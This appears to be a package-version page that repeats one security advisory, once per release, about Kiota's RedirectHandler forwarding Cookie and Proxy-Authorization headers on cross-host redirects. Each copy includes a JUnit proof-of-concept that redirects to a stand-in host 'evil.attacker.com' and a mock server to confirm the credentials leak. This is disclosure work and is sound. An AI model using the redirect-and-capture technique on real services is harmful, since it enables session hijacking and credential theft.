The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 23, 2025

1.19.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 12, 2025

1.19.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 18, 2025

1.18.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 18, 2025

1.17.4 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 02, 2025

1.17.3 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
